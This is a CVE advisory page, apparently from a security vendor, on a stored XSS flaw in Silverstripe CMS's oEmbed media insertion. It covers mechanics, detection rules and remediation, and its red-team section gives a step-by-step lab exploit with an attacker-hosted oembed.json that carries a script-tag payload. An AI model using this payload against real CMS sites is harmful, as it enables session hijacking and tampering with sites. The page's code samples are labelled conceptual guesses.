CVE-2024-47605
Executive Summary
CVE-2024-47605 is a Stored Cross-Site Scripting (XSS) vulnerability in the Silverstripe CMS, specifically within the silverstripe/asset-admin module. The flaw resides in the "insert media" functionality, where oEmbed JSON data containing unsanitized HTML is used to replace embed shortcodes. An authenticated attacker with page editing privileges can inject arbitrary JavaScript payloads that execute in the context of both the CMS admin panel and the public-facing website. The vulnerability has a CVSS score of 5.4 (Medium) and a public proof-of-concept exploit is available. The vendor has released a fix in version 5.3.8 of the silverstripe/framework package.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects the silverstripe/asset-admin module, which is a core component of the Silverstripe CMS ecosystem. The package is distributed via Composer (Packagist). Organizations should verify their composer.json for the silverstripe/asset-admin dependency and ensure it is updated to a patched version. The exploit relies on the CMS's oEmbed integration, which fetches and processes external JSON data without proper sanitization.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) - The attacker can trigger the vulnerability remotely.
- Attack Complexity (AC): Low (L) - No special conditions are required beyond standard web interactions.
- Privileges Required (PR): Low (L) - The attacker needs a valid CMS account with page editing rights.
- User Interaction (UI): Required (R) - A victim user (e.g., admin) must view the compromised page.
- Scope (S): Changed (C) - The vulnerable component impacts resources beyond its security scope.
- Confidentiality (C): Low (L) - Limited data exposure possible.
- Integrity (I): Low (L) - Limited ability to modify content.
- Availability (A): None (N) - No direct impact on availability.
Threat Level: Medium. The requirement for authentication and user interaction reduces the immediate risk, but the stored nature of the XSS and the potential for privilege escalation or session hijacking make it a significant concern for Silverstripe deployments.
Deep Dive & Mechanics
The vulnerability is rooted in the silverstripe/asset-admin module's handling of oEmbed data. When a user inserts media via URL, the CMS fetches an oEmbed JSON response from the provided URL. This JSON contains an html field that is intended to contain the embed code (e.g., an iframe for a video). The CMS then replaces a shortcode (e.g., [embed]) with this HTML content.
The critical flaw is that the html field is not sanitized or escaped before being injected into the page. An attacker can host a malicious oEmbed endpoint that returns a JSON payload with a crafted html field containing arbitrary JavaScript. When the victim (or any user viewing the page) loads the content, the script executes in their browser.
The attack flow:
- Attacker sets up a web server with an HTML page containing a
<link>tag pointing to a maliciousoembed.jsonfile. - The
oembed.jsonfile includes anhtmlfield with a<script>tag (e.g.,<script>alert('XSS')</script>). - Attacker logs into the Silverstripe CMS, navigates to a page editor, and uses the "Insert Media via URL" feature.
- Attacker enters the URL of their malicious HTML page.
- The CMS fetches the HTML, discovers the oEmbed link, and retrieves the JSON.
- The CMS replaces the embed shortcode with the unsanitized
htmlfield. - When the page is saved and published, any user viewing the page triggers the XSS payload.
Vulnerable vs. Patched Code
Vulnerable Code (Conceptual): The vulnerable code likely resides in a method that processes oEmbed responses. It might look like:
// Vulnerable: Directly uses the 'html' field without sanitization
$embedHtml = $oEmbedResponse['html'];
$content = str_replace('[embed]', $embedHtml, $content);
Patched Code (Conceptual):
The fix in version 5.3.8 likely sanitizes the html field using a whitelist of allowed tags or by escaping HTML entities. A patched version might use:
// Patched: Sanitize the HTML before injection
$embedHtml = $oEmbedResponse['html'];
$sanitizedHtml = HTMLPurifier::purify($embedHtml); // or similar sanitization
$content = str_replace('[embed]', $sanitizedHtml, $content);
The exact patch details are not publicly available, but the principle is to ensure that only safe, non-executable HTML is inserted.
Exploitation & Lab Setup
Red Team (Attack Simulation)
Prerequisites:
- A Silverstripe CMS instance (version < 5.3.8).
- Valid credentials for a user with page editing rights.
- An attacker-controlled web server (e.g., a simple Python HTTP server).
Step-by-Step Exploitation:
Set up the attacker server: Create the following files on your attacker server (e.g.,
192.168.1.100):index.html:<html> <head> <link rel="alternate" type="application/json+oembed" href="http://192.168.1.100/oembed.json" title="Payload" /> </head> <body> <img src="media.jpg"> </body> </html>oembed.json:{ "title": "Title", "author_name": "author", "type": "video", "height": 113, "width": 200, "version": "1.0", "provider_name": "FakeSite", "thumbnail_height": 360, "thumbnail_width": 480, "thumbnail_url": "http://192.168.1.100/media.jpg", "html":"<script>alert('XSS');</script>" }media.jpg: Any valid JPEG image (can be a 1x1 pixel).Serve the files:
python3 -m http.server 80Exploit the CMS:
- Log into the Silverstripe admin panel.
- Navigate to a page you can edit.
- Click the "Insert Media via URL" button.
- Enter
http://192.168.1.100/index.html. - Click "Add Media", then "Insert Media".
- Save and publish the page.
Trigger the payload:
- Any user visiting the published page will see an alert box with "XSS".
Full Exploit-DB Code: The provided exploit code is a textual description of the attack. It is not a standalone script but rather a step-by-step guide. The attacker must manually create the files and perform the CMS actions.
Blue Team (Detection & Defense)
Detection:
- Monitor web server logs for requests to
/index.htmlor/oembed.jsonfrom the CMS admin IP. - Look for unusual oEmbed endpoints in CMS logs (e.g., requests to external IPs for media insertion).
- Use WAF rules to block requests to known malicious oEmbed endpoints.
Defense:
- Immediately upgrade to Silverstripe Framework 5.3.8 or later.
- Implement Content Security Policy (CSP) headers to restrict script execution.
- Restrict CMS user permissions; only grant page editing rights to trusted users.
- Monitor for unexpected JavaScript execution in the CMS admin panel.
Indicators of Compromise (IOCs)
- Network IOCs:
- Outbound HTTP requests from the CMS server to attacker-controlled IPs for oEmbed data.
- Inbound requests to the CMS containing URLs with
oembed.jsonin the path.
- File IOCs:
- Presence of unexpected
<script>tags in CMS page content or database entries. - Modified page content containing
[embed]shortcodes with malicious HTML.
- Presence of unexpected
- Behavioral IOCs:
- Unusual JavaScript execution in the CMS admin panel.
- Unexpected pop-ups or redirects when viewing CMS pages.
Detection Engineering
YARA Rule
rule CVE_2024_47605_Silverstripe_oEmbed_XSS {
meta:
description = "Detects malicious oEmbed JSON payloads targeting CVE-2024-47605"
author = "Valters IT"
date = "2025-01-15"
reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-47605"
strings:
$json_pattern = /"html"\s*:\s*"<script[^>]*>/
$oembed_link = /<link[^>]*type="application\/json\+oembed"[^>]*>/
condition:
$json_pattern or $oembed_link
}
Sigma Rule
title: Silverstripe oEmbed XSS Exploitation Attempt
id: 8f4a2b1c-3d5e-4f7a-9b0c-1d2e3f4a5b6c
status: experimental
description: Detects attempts to exploit CVE-2024-47605 by hosting malicious oEmbed JSON
author: Valters IT
date: 2025-01-15
logsource:
category: webserver
product: apache
service: access_combined
detection:
selection:
cs-method: 'GET'
cs-uri-query|contains:
- 'oembed.json'
- 'type=application/json+oembed'
condition: selection
falsepositives:
- Legitimate oEmbed integrations
level: medium
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"CVE-2024-47605 Silverstripe oEmbed XSS Payload";
flow:to_server,established;
content:"oembed.json"; http_uri;
content:"html"; http_server_body;
content:"<script"; http_server_body;
classtype:web-application-attack;
sid:1000001;
rev:1;
)
Remediation & Mitigation
Immediate Actions:
- Upgrade: Update
silverstripe/frameworkto version 5.3.8 or later. Runcomposer update silverstripe/framework. - Restrict Permissions: Review CMS user roles and remove page editing rights from non-essential users.
- Monitor Logs: Check web server and CMS logs for any signs of exploitation.
Long-Term Mitigations:
- Implement a Web Application Firewall (WAF) with rules to block malicious oEmbed requests.
- Enforce Content Security Policy (CSP) headers to prevent inline script execution.
- Regularly audit CMS content for unexpected HTML or JavaScript.
- Keep all Silverstripe modules and dependencies up to date.
Workarounds:
- Disable the "Insert Media via URL" feature if not required (custom development may be needed).
- Use a reverse proxy to sanitize oEmbed responses before they reach the CMS.
Valters IT
Securing Digital Frontiers
{/* [Security Hash: 44281BA518846AC16A00D120] */}
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.